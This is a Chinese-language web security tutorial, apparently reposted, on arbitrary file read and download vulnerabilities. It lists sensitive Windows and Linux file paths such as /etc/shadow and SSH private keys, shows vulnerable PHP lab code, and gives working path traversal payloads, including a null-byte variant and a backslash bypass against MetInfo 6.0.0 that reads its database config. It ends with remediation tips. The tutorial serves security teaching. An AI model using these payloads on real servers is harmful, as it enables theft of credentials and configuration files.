系统城装机大师 - 固镇县祥瑞电脑科技销售部宣传站!

当前位置:首页 > 网络知识 > 路由器 > 详细页面

Web安全Day9 - 文件下载漏洞实战

时间:2020-03-01来源:电脑系统城作者:电脑系统城

大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫 Web安全实战 ,希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法(手工测试,工具测试)-靶场测试(分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖)-实战演练(主要选择相应CMS或者是Vulnhub进行实战演练),如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们,一起完善这个项目,欢迎通过邮件形式(sec-redclub@qq.com)联系我们。

1.1 任意文件读取下载漏洞简介

一些网站由于业务需求,可能提供文件查看或下载功能。如果对用户查看或下载的文件不做限制,则恶意用户能够查看或下载任意文件,可以是源代码文件、敏感文件等。

1.2 任意文件读取下载漏洞危害

攻击者可以读取下载服务器中的配置文件、敏感文件等,会提供攻击者更多可用信息,提高被入侵的风险。

1.3 任意文件读取下载漏洞利用条件

  1. 存在读文件的函数

  2. 读取文件的路径用户可控且未校验或校验不严

  3. 输出了文件内容

  4. 任意文件读取下载漏洞测试
    ## 2.1测试思路

  5. 寻找读取或下载文件的功能点,跳跃目录获取敏感文件

  6. 有的限制目录不严格,只对部分目录限制,可以尝试用其他敏感文件路径,常见敏感文件路径如下:

    Windows:
    C:\boot.ini  //查看系统版本
    C:\Windows\System32\inetsrv\MetaBase.xml  //IIS配置文件
    C:\Windows\repair\sam  //存储系统初次安装的密码
    C:\Program Files\mysql\my.ini  //Mysql配置
    C:\Program Files\mysql\data\mysql\user.MYD  //Mysql root
    C:\Windows\php.ini  //php配置信息
    C:\Windows\my.ini  //Mysql配置信息
    ...
    Linux:
    /root/.ssh/authorized_keys
    /root/.ssh/id_rsa
    /root/.ssh/id_ras.keystore
    /root/.ssh/known_hosts
    /etc/passwd
    /etc/shadow
    /etc/my.cnf
    /etc/httpd/conf/httpd.conf
    /root/.bash_history
    /root/.mysql_history
    /proc/self/fd/fd[0-9]*(文件标识符)
    /proc/mounts
    /porc/config.gz

2.2 靶机测试

这里我们使用web for pentester进行测试

2.2.1 安装步骤

下载地址:https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso
我们只需要VMware安装镜像文件即可使用
新建虚拟机
20191023123234-2236af0a-f54e-1.png
默认下一步
20191023123234-2281ed1c-f54e-1.png
选择镜像文件
20191023123235-22ba1cdc-f54e-1.png
设置虚拟机名称和存放位置
20191023123235-22f5bd5a-f54e-1.png
磁盘大小默认即可
20191023123235-232a516e-f54e-1.png
开启此虚拟机
20191023123237-24590da0-f54e-1.png
查看ip地址
20191023123238-24d24c9c-f54e-1.png
搭建成功,这里用Directory traversal做演示
20191023123239-255de32e-f54e-1.png

2.2.2 Example 1

从代码里看出未作限制,直接读取文件

$UploadDir = '/var/www/files/'; 

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

$path = $UploadDir . $file;

if (!is_file($path))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));

$handle = fopen($path, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();

使用../来跳跃目录读取敏感文件,我们这里读取passwd文件
http://192.168.163.141/dirtrav/example1.php?file=../../../etc/passwd
20191023123240-25b5c27e-f54e-1.png

2.2.3 Example 2

从代码里可以看出,路径必须存在/var/www/files/

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

if (!(strstr($file,"/var/www/files/")))
    die();

if (!is_file($file))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($file) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($file));

$handle = fopen($file, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();

http://192.168.163.141/dirtrav/example2.php?file=/var/www/files/../../../etc/passwd
20191023123240-2612e5da-f54e-1.png

2.2.4 Example 3

从代码可以看出过滤空字符及以后的字符。

$UploadDir = '/var/www/files/'; 

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

$path = $UploadDir . $file.".png";
// Simulate null-byte issue that used to be in filesystem related functions in PHP
$path = preg_replace('/\x00.*/',"",$path);

if (!is_file($path))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));

$handle = fopen($path, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();

http://192.168.163.141/dirtrav/example3.php?file=../../../etc/passwd%00
20191023123241-266b326c-f54e-1.png

2.3 CMS实战演练

这里选的是MetInfo cms进行任意文件读取漏洞演示

2.3.1 安装步骤

下载地址:https://www.metinfo.cn/upload/file/MetInfo6.0.0.zip
漏洞环境:phpstudy、windows
存在漏洞:任意文件读取
解压好后,下一步下一步的安装,配置数据库、管理员信息。
20191023093226-f83f2b14-f534-1.png
20191023093226-f8908b30-f534-1.png
安装完成
20191023093227-f8da5b7a-f534-1.png

2.3.2 利用过程

漏洞点在:MetInfo6.0.0/include/thumb.php?dir=
漏洞代码文件位置:MetInfo6.0.0\app\system\include\module\old_thumb.class.php
有两次过滤,第一次把路径中../、./进行过滤,第二次路径中需要有http和不能存在./,

$dir = str_replace(array('../','./'), '', $_GET['dir']);


if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
    header("Content-type: image/jpeg");
    ob_start();
    readfile($dir);
    ob_flush();
    flush();
    die;
}

在windows环境下可以使用..\进行绕过
http://127.0.0.1/MetInfo6.0.0/include/thumb.php?dir=http\..\..\config\config_db.php
20191018142755-6bdd4f1a-f170-1.png

 

  1. 漏洞修复方案

1、对./、../、、..\%进行过滤
2、严格控制可读取或下载的文件路径

分享到:

相关信息

  • 路由器重新设置wifi密码手机操作方法

    安装了新的网络之后首先要做的就是设置路由器的wifi密码了,但是有很多的用户并不知道该怎么使用手机来进行操作,毕竟手机使用很方便,下面就带来了路由器重新设置wifi密码手机操作方法,一起看看吧。...

    2023-10-26

  • 路由器重新设置wifi密码网址详情

    路由器的密码进行设置是使用电脑用户家常便饭的问题,不过很多的用户遇到的第一个问题就是不知道网址去进行重置,下面就带来了路由器重新设置wifi密码网址详情,一起来看看怎么进入吧。...

    2023-10-26

系统教程栏目

栏目热门教程

人气教程排行

站长推荐

热门系统下载